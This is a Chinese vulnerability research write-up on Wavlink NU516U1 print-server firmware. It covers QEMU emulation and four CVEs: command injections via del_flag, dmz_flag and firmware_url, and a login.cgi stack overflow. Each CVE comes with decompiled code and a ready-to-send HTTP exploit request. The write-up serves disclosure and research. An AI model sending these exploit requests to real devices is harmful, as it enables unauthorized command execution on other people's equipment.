Files

357 lines
18 KiB
Markdown
Raw Permalink Normal View History

2026-10-15 20:28:22 +08:00
# WAVLINK-NU516-V251208&V240425漏洞挖掘
> WLZ
> 来源:https://www.iotsec-zone.com/article/532
## 概述
供应商:Wavlink
产品:NU516U1
产品用途:USB打印机服务器
固件下载地址:[https://docs.wavlink.xyz/Firmware/?category=USB+Printer+Server&model=all](https://docs.wavlink.xyz/Firmware/?category=USB+Printer+Server&model=all)
## 固件模拟
```plain
# 宿主机网卡配置
sudo tunctl -t tap0 -u `whoami`
sudo ifconfig tap0 192.168.10.1/24 up
# qemu模拟
qemu-system-mipsel \
-M malta \
-cpu 74Kf\
-kernel /home/iotsec-zone/Desktop/Tools/qemu-images/mipsel/vmlinux-3.2.0-4-4kc-malta \
-hda /home/iotsec-zone/Desktop/Tools/qemu-images/mipsel/debian_wheezy_mipsel_standard.qcow2 \
-append "root=/dev/sda1 console=ttyS0" \
-net nic -net tap,ifname=tap0,script=no,downscript=no \
-nographic
# 系统环境的配置
cd squashfs-root
mount --bind /proc/ proc/
mount --bind /sys/ sys/
mount --bind /dev/ dev/
# 虚拟机网卡配置
ip link add br0 type dummy
ifconfig eth0 192.168.10.2/24
ifconfig br0 192.168.10.3/24
chroot . /bin/sh
/usr/sbin/lighttpd -f /etc/lighttpd/lighttpd.conf
```
![0.png](https://www.iotsec-zone.com/api/image/v2/20260310/dgz4zasuqrlqb6452b.png)
报错,创建需要的目录,在绝大多数路由器和 IoT 固件中,为了防止频繁读写损坏 Flash 闪存芯片,`/var` 通常被做成了一个**软链接(符号链接)**,指向 `/tmp`。而在真实的设备启动时,`/tmp` 会被挂载为一个存在于内存中的 `tmpfs`(虚拟内存文件系统)。
用工具(比如 binwalk)把它解压到了硬盘上,这个软链接要么变成了一个死链,要么指向了一个不存在的地方,所以系统拒绝在里面创建文件夹。
**暴力但最有效的解决办法:删掉重建**
既然我们只是在 QEMU 里模拟运行 Web 服务,最简单粗暴的方法就是把这个假的 `/var` 和 `/tmp` 删掉,然后把它们变成真正的文件夹。
```plain
# 强制删除原来的 /var 和 /tmp(无论它是文件还是死链)
rm -rf /var
rm -rf /tmp
# 重新把它们创建为真实的文件夹,并建立需要的子目录
mkdir -p /var/run
mkdir -p /var/log/lighttpd
mkdir -p /tmp/run
mkdir -p /tmp/log/lighttpd
# 再次尝试启动 lighttpd
/usr/sbin/lighttpd -f /etc/lighttpd/lighttpd.conf
```
访问 [http://usblogin.link进入系统](http://usblogin.link进入系统),登录默认密码:admin
![1.png](https://www.iotsec-zone.com/api/image/v2/20260310/dgz4zkks86wtamczhc.png)
# CVE-2026-2615
**Wavlink NU516U1 (V251208) 的"firewall.cgi"组件的"singlePortForwardDelete"功能的函数中通过"del_flag"参数存在远程命令执行漏洞**
### 漏洞描述
Wavlink NU516U1 路由器固件(版本 M16U1_V251208)中的 `/cgi-bin/firewall.cgi` 组件存在命令注入漏洞。该漏洞位于处理 **端口转发删除(singlePortForwardDelete)** 功能的 `sub_4016D0` 函数中。厂商在处理 `del_flag` 参数时,调用了过滤函数 `sub_405B2C` 对用户输入进行检查。尽管该函数试图通过黑名单机制防止命令注入,但其实现不严谨,遗漏了关键的命令分隔符分号(`;`)。经过身份验证的远程攻击者可以通过构造包含分号的恶意 `del_flag` 参数,绕过输入验证,利用 `sprintf` 函数将任意 Shell 命令拼接到系统调用中执行。
该漏洞是针对厂商最新固件中该漏洞补丁被绕过、修复不完整的全新漏洞记录;在与 CVE-2025-10963 相关的旧固件 V240425 中,del_flag 参数因未做有效净化直接拼接至系统命令存在安全风险,厂商在新固件 V251208 中新增 sub_405B2C 输入过滤函数试图修复该漏洞,但经逆向工程发现其黑名单仅屏蔽 |、&、$ 等字符,却遗漏了分号,攻击者可借助该有缺陷的过滤器通过分号注入实现对原补丁的绕过。
### 漏洞详情
**受影响组件**:`/cgi-bin/firewall.cgi`
**受影响函数**:`sub_4016D0` (主逻辑) & `sub_405B2C` (过滤逻辑)
在 ftext 函数中,通过用户输入获取防火墙参数的值。将防火墙参数的值设置为 singlePortForwardDelete 会调用 sub_4016D0 函数。
![2.png](https://www.iotsec-zone.com/api/image/v2/20260310/dgz4zsc3d45rykdhmr.png)
**主逻辑执行:`sub_4016D0` (漏洞的触发)**
这个函数充当了“执行者”的角色,它盲目信任了经过上述过滤函数检查的数据。
- **数据流向**:
1. **获取输入**:通过 `sub_4042C8("del_flag", ...)` 获取用户提交的 HTTP 参数 `del_flag`。
2. **调用过滤**:调用 `sub_405B2C(v2)` 检查输入。如果函数返回 1(发现非法字符),则报错退出;如果返回 0(认为安全),则继续执行。
3. **危险拼接**:进入 `else` 分支后,程序使用 `sprintf` 函数将用户输入直接拼接到系统命令字符串中: `sprintf(v5, "uci delete firewall.@redirect[%s]", v2);`。
4. **命令执行**:最后调用 `sub_403734(v5)`。这是一个 `system()` 函数的封装,它会将拼接好的字符串直接交给 `/bin/sh` 执行。
![3.png](https://www.iotsec-zone.com/api/image/v2/20260310/dgz4zy3jwh0fym5eku.png)
**过滤逻辑失效:`sub_405B2C` (漏洞的根源)**
这个函数充当了“安检员”的角色,但它的安检清单漏掉了一个最危险的违禁品。
- **工作机制**: 该函数接收用户输入的字符串,通过 `while` 循环遍历每一个字符,并使用 `strchr` 函数检查该字符是否存在于一个预定义的“黑名单”字符串中。
- **黑名单内容**: 代码中定义的黑名单非常长:"|`&<>$()"'[]{}*?!^~#%"。这涵盖了管道符、重定向、变量引用、子 shell 等大多数危险字符。
- **致命缺陷 **: **黑名单中唯独遗漏了分号 (**`;`**)**。
![4.png](https://www.iotsec-zone.com/api/image/v2/20260310/dgz503y93l2tsngsff.png)
### EXP
**利用条件**:需要有效的 Cookie。
**构造数据包**:
```plain
POST /cgi-bin/firewall.cgi HTTP/1.1
Host: usblogin.link
Content-Length: 63
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://usblogin.link
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.6099.71 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://usblogin.link/html/firewall.shtml
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Cookie: session=495266081
Connection: close
firewall=singlePortForwardDelete&del_flag=1;touch+/tmp/pwned;
```
![5.png](https://www.iotsec-zone.com/api/image/v2/20260310/dgz50bmgh60taptcah.png)
验证成功
![6.png](https://www.iotsec-zone.com/api/image/v2/20260310/dgz50oqfcfwhae1cuo.png)
# CVE-2026-3704
**Wavlink NU516U1 (V251208)的"firewall.cgi"组件的"DMZ"功能函数中通过"dmz_flag"参数存在远程命令执行漏洞**
### 漏洞描述
Wavlink NU516U1 路由器固件(版本 M16U1_V251208)中的 `/cgi-bin/firewall.cgi` 组件存在命令注入漏洞。该漏洞位于处理 DMZ 设置的 `sub_4017F0` 函数中。尽管厂商引入了过滤函数 `sub_405B2C` 试图修复旧版本(M16U1_V240425)的漏洞,但该黑名单过滤机制不严谨,遗漏了关键的命令分隔符分号(`;`)。经过身份验证的远程攻击者可以通过构造包含分号的恶意 `dmz_flag` 参数,绕过输入验证,利用 `sprintf` 函数将任意 Shell 命令拼接到系统调用中执行。
该漏洞是针对厂商最新固件中该漏洞补丁被绕过、修复不完整的全新漏洞记录。在与 CVE-2025-10959 相关的旧固件(V240425)中,`dmz_flag` 参数被无缝连接到系统命令中,且未做任何净化处理。在本报告中测试的新固件(V251208 )中,厂商试图通过**引入全新的输入滤波器功能(**`sub_405B2C`**)** 来修补 CVE-2025-10959。然而,这次新补丁中存在一个关键逻辑缺陷:黑名单过滤器成功屏蔽了像 `|`、`&` 和 `$` 这样的字符,但致命地省略了分号(`;`)命令分隔符。
### 漏洞详情
**受影响组件**:`/cgi-bin/firewall.cgi`
**受影响函数**:`sub_4017F0` (主逻辑) & `sub_405B2C` (过滤逻辑)
在 ftext 函数中,通过用户输入获取防火墙参数的值。将防火墙参数的值设置为DMZ,会调用 sub_4017F0 函数。
![7.png](https://www.iotsec-zone.com/api/image/v2/20260310/dgz50xhtw71fzn5idh.png)
**触发逻辑:主函数 `sub_4017F0` 的盲目信任**
主函数在调用了有缺陷的过滤器后,错误地认为输入已经安全,并将其拼接到系统命令中。
**步骤 1:获取与检查**
```plain
v6 = sub_4042C8("dmz_flag", a1, 1);
v9 = (char *)strdup(v6);
if ( sub_405B2C(v9) == 1 )
{
return ...;
}
```
**步骤 2:危险拼接**
```plain
sprintf(cat_..., "uci delete firewall.@redirect[%s]", v9);
sub_403734(cat_...); // system()
```
程序使用了 `sprintf` 将输入的 `v9` 直接嵌入到了 `uci delete` 命令的方括号中。
**过滤函数 `sub_405B2C` 的黑名单遗漏**
这是漏洞存在的根本原因。开发者意识到了注入风险,编写了一个名为 `sub_405B2C` 的函数来过滤危险字符,但这个“安检员”手中的违禁品清单不完整。
- **黑名单内容**:代码中定义的非法字符集为:"|`&<>$()"'[]{}*?!^~\#%"这里面包含了管道符 (|)、后台运行 (&)、重定向 (<>)、变量/子shell ($()) 等大多数 Shell 元字符。
- **致命遗漏**:**分号 (**`;`**) 不在黑名单中**
![8.png](https://www.iotsec-zone.com/api/image/v2/20260310/dgz513kkbxiwyqqfln.png)
### EXP
**利用条件**:需要有效的Cookie。
**构造数据包**:
![9.png](https://www.iotsec-zone.com/api/image/v2/20260310/dgz51836i72d9gmdcm.png)
```plain
POST /cgi-bin/firewall.cgi HTTP/1.1
Host: usblogin.link
Content-Length: 64
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://usblogin.link
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.6099.71 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://usblogin.link/html/firewall.shtml
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Cookie: session=1470335067
Connection: close
firewall=DMZ&DMZEnabled=0&dmz_flag=1;touch+/tmp/pwned_seccess;
```
验证成功
![10.png](https://www.iotsec-zone.com/api/image/v2/20260310/dgz51d8w9pl8cd4fev.png)
# CVE-2026-3612
**Wavlink NU516U1 (V240425) 的 "adm.cgi" 组件的 "ota_new_upgrade" 功能的函数中通过 "firmware_url" 参数存在远程命令执行漏洞**
### 漏洞描述
Wavlink NU516U1 路由器固件(版本 V240425)中的 `/cgi-bin/adm.cgi` 组件存在严重的命令注入漏洞。该漏洞位于处理 **OTA 在线升级(ota_new_upgrade)** 功能的 `sub_405AF4` 函数中。厂商在处理 `firmware_url` 参数时,直接将其拼接到系统命令中。尽管开发者试图使用双引号包裹参数以防止参数逃逸,但该防御方式无法阻止 Shell 命令替换。经过身份验证的远程攻击者可以通过构造包含 `$()` 或反引号的恶意 `firmware_url` 参数,绕过限制执行任意系统命令。
### 漏洞详情
![11.png](https://www.iotsec-zone.com/api/image/v2/20260310/dgz51mzg0bnv0hb2gm.png)
- **受影响组件**:`/cgi-bin/adm.cgi`
- **受影响函数**:`sub_405AF4` (OTA 升级处理逻辑)
在 `adm.cgi` 的主入口函数 `ftext` 中,程序根据用户提交的 `page` 参数分发逻辑。当 `page` 参数的值为 `ota_new_upgrade` 时,程序调用 `sub_405AF4` 函数。
**主逻辑执行:sub_405AF4 (漏洞的触发)**
该函数负责获取用户输入的升级参数并调用底层的升级脚本。
1. **数据获取**:函数通过 `sub_40A9F8` 分别获取 POST 请求中的 `brand`、`model`、`version`、`md5` 以及最关键的 `firmware_url` 参数。
2. **危险拼接**:程序定义了一个大小为 1024 字节的缓冲区 `v14`,并使用 `sprintf` 函数构造系统命令:
```plain
sprintf(v14, "/bin/winstar_ota_upgrade.sh \"%s\" \"%s\" \"%s\" \"%s\"&", v7, v5, v11, v10);
```
其中 `v10` 对应用户输入的 `firmware_url`。
1. **命令执行**:拼接完成后,程序直接调用 `system(v14)` 执行该命令字符串。
**漏洞根源:Shell 双引号特性利用**
漏洞的根本原因在于开发者错误地认为将参数包裹在双引号中(`"%s"`)是安全的。在 Linux Shell(如 `/bin/sh`)中,双引号内的内容仍然会进行**命令替换**。
- 当 `firmware_url` 被传入 `$(touch /tmp/pwned)` 时。
- 最终拼接的命令变为:`/bin/winstar_ota_upgrade.sh "..." "..." "..." "$(touch /tmp/pwned)"&`。
- Shell 在执行主命令前,会优先执行 `$()` 中的内容,导致 `touch /tmp/pwned` 被执行。由于程序未对 `firmware_url` 进行任何特殊字符过滤(如 `$`, `(`, `)`),攻击者可以轻松实现命令注入。
### EXP
- **利用条件**:需要有效的 Session Cookie(即登录后的会话)。
- **构造数据包**:
```plain
POST /cgi-bin/adm.cgi HTTP/1.1
Host: usblogin.link
Content-Length: 104
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://usblogin.link
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.6099.71 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://usblogin.link/html/firewall.shtml
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Cookie: session=702857993
Connection: close
page=ota_new_upgrade&brand=wavlink&model=123&version=1.0&md5=123456&firmware_url=$(touch /tmp/pwned)
```
**验证成功**
发送上述数据包后,检查 QEMU 模拟环境或设备文件系统,发现 `/tmp/pwned` 文件已成功创建,证明远程代码执行成功。
![12.png](https://www.iotsec-zone.com/api/image/v2/20260310/dgz51yvg6mgn7lrm8z.png)
![13.png](https://www.iotsec-zone.com/api/image/v2/20260310/dgz522knuxl2tpceuz.png)
# CVE-2026-3613
**Wavlink NU516U1 (V240425) login.cgi 组件 sub_401A0C 函数通过参数 "ipaddr" 存在栈缓冲区溢出漏洞**
### 漏洞描述
在 Wavlink NU516U1 V240425 版本的固件中,`/cgi-bin/login.cgi` 组件的 `sub_401A0C` 函数存在栈缓冲区溢出漏洞。该函数主要用于处理 `sys_login1` 页面请求。函数内部在栈上定义了一个固定大小为 128 字节的缓冲区 `v15`。在验证密码 MD5 通过后,程序使用 `sprintf` 函数构造一条系统命令,将用户输入的 `ipaddr` 参数直接拼接到该缓冲区中。由于 `sprintf` 没有限制写入数据的长度,且程序未对 `ipaddr` 的长度进行校验,攻击者可以发送一个超长的字符串(超过约 105 字节)。当超长的 `ipaddr` 数据被写入 `v15` 时,会发生越界写入,覆盖栈上相邻的局部变量、保存的寄存器以及函数的返回地址,导致 CGI 进程崩溃。
### 漏洞详情
- **漏洞函数**:`sub_401A0C` (处理 `sys_login1` 接口)
- **漏洞点**:`sprintf(v15, "web 2860 sys addUser \"%s\"", v4);`
- **触发参数**:`ipaddr` (对应代码中的 `v4`)
- **先决条件**:提交的 `password` 参数必须匹配管理员密码的 MD5 哈希值。
**受影响代码片段 (sub_401A0C)**:
![14.png](https://www.iotsec-zone.com/api/image/v2/20260310/dgz529fu8eluecsk2r.png)
```plain
int __fastcall sub_401A0C(int a1)
{
// ... 变量声明 ...
_BYTE v15[128]; // [sp+120h] [-FCh] BYREF <-- 漏洞缓冲区,大小 128 字节
// ... 密码验证逻辑 ...
wlink_uci_get_value("winstar", "system", "Password", v16, 64);
// ... 计算 MD5 并比较 ...
if ( !strncmp(v11, v14, 32) ) // 密码验证通过
{
memset(v15, 0, sizeof(v15));
v15[0] = 48;
// 漏洞点:将 v4 (用户输入的 ipaddr) 拼接到 v15
// 固定前缀 "web 2860 sys addUser \"" 占用约 22 字节
// 剩余空间约 106 字节。如果 ipaddr 超过此长度,将发生溢出。
sprintf(v15, "web 2860 sys addUser \"%s\"", v4);
system(v15);
// ...
}
// ...
}
```
**内存布局与溢出路径**:
- **缓冲区**`v15`:位于栈偏移 `$sp + 0x120` (十进制 288),大小 128 字节。
- **溢出后果**:输入超长字符串后,`sprintf` 越界写入将破坏栈帧结构。
- **崩溃确认**:正常请求返回 HTTP 200,而溢出请求导致服务器返回 HTTP 500(内部服务器错误),这通常意味着 CGI 进程因段错误而崩溃。
### EXP
**利用条件**:
1. 知道管理员密码的 MD5 值(默认 `admin` 的 MD5 为 `21232f297a57a5a743894a0e4a801fc3`)。
2. 能够向 `/cgi-bin/login.cgi` 发送 POST 请求,需要有效的cookie。
**构造数据包**:
发送一个包含超长 `ipaddr` 的 POST 请求。
```plain
POST /cgi-bin/login.cgi HTTP/1.1
Host: usblogin.link
Content-Length: 296
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://usblogin.link
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.6099.71 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://usblogin.link/html/login.shtml
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Cookie: session=977176472
Connection: close
page=sys_login1&password=21232f297a57a5a743894a0e4a801fc3&ipaddr=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
```
**验证结果**:
- **正常请求**:发送较短的 Payload,服务器返回 `HTTP/1.1 200 OK`。
![15.png](https://www.iotsec-zone.com/api/image/v2/20260310/dgz52gxuu7o8pg9atc.png)
- **溢出请求**:发送上述包含大量 'A' 的数据包,服务器返回 `HTTP/1.1 500 Internal Server Error`。这证实了栈缓冲区溢出导致了 CGI 进程崩溃。
![16.png](https://www.iotsec-zone.com/api/image/v2/20260310/dgz52kyverv7o4uujd.png)